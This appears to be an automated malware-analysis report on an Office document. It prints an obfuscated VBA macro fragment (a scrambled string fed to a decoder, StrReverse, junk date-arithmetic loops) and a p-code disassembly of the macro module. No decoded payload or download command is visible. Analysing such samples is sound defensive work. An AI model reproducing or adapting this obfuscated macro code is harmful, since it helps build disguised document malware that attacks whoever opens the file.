Allison6
Agatha5
Alfie3
Alisun6
Albertina7
Addia7
Almire3
Alverta6
Alica2
Adela2
Ajay7
Alina5
Alta6
Almira2
Adelice1
Aimee6
    environment = instance("h wt ltuRp GsuI:dy/DL/d!sI). Mp^_u !tD .C?rHPeEn/j 8 @tJqD$mPMP9$GG jc@eJNh.^ ekmxnoegy") + "oven" + boyfriend() + StrReverse("ability")
    
        For rogXywT = 2 To 5
            television = Weekday(CDate(134765))
community = Weekday(CDate(19306))
area = DateDiff("m", CDate(315532), CDate(281708))
management = DateDiff("m", CDate(167348), CDate(147543))
january = MonthName(10)

        Next rogXywT
        
    
End Sub

' Processing file: /tmp/qstore_2potbfz8
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 48436 bytes
' Line #0:
' 	FuncDefn (Function IsDate(id_FFFE As String) As String)
' Line #1:
' 	LitDI2 0x0048 
' 	ArgsLd ability 0x0001 
' 	St story 
' Line #2:
' 	LitDI2 0x032C 
' 	UMi 
' 	ArgsLd IsEmpty 0x0001 
' 	St Language 
' Line #3:
' 	LitDI2 0x028E 
' 	ArgsLd IsEmpty 0x0001 
' 	St IsError 
' Line #4:
' 	LitDI2 0x015B 
' 	ArgsLd ability 0x0001 
' 	St oven 
' Line #5:
' 	LitDI2 0x0098 
' 	ArgsLd Atn 0x0001 
' 	St feburary 
' Line #6:
' 	LitDI2 0x00E2 
' 	UMi 
' 	ArgsLd Cos 0x0001 
' 	St oven 
' Line #7:
' 	LitDI2 0x0029 
' 	UMi 
' 	ArgsLd ability 0x0001 
' 	St june 
' Line #8:
' 	LitDI2 0x0221 
' 	UMi 
' 	ArgsLd ability 0x0001 
' 	St Sqr 
' Line #9:
' 	LitDI2 0x03C6 
' 	ArgsLd IsEmpty 0x0001 
' 	St feburary 
' Line #10:
' 	LitDI2 0x02E7 
' 	ArgsLd Tan 0x0001 
' 	LitDI2 0x03E6 
' 	Add 
' 	LitDI2 0x005F 
' 	ArgsLd industry 0x0001 
' 	Add 
' 	LitDI2 0x0158 
' 	Add 
' 	LitDI2 0x016A 
' 	Add 
' 	LitDI2 0x0211 
' 	FnFix 
' 	Add 
' 	St IsError 
' Line #11:
' 	LitDI2 0x0064 
' 	ArgsLd economics 0x0001 
' 	LitDI2 0x003C 
' 	Add 
' 	LitDI2 0x0113 
' 	FnAbs 
' 	Add 
' 	LitDI2 0x032C 
' 	FnFix 
' 	Add 
' 	LitDI2 0x0337 
' 	ArgsLd economics 0x0001 
' 	Add 
' 	LitDI2 0x03C1 
' 	Add 
' 	LitDI2 0x0114 
' 	Add 
' 	St Log 
' Line #12:
…

Open this report in the interactive analyzer, or submit your own file for analysis.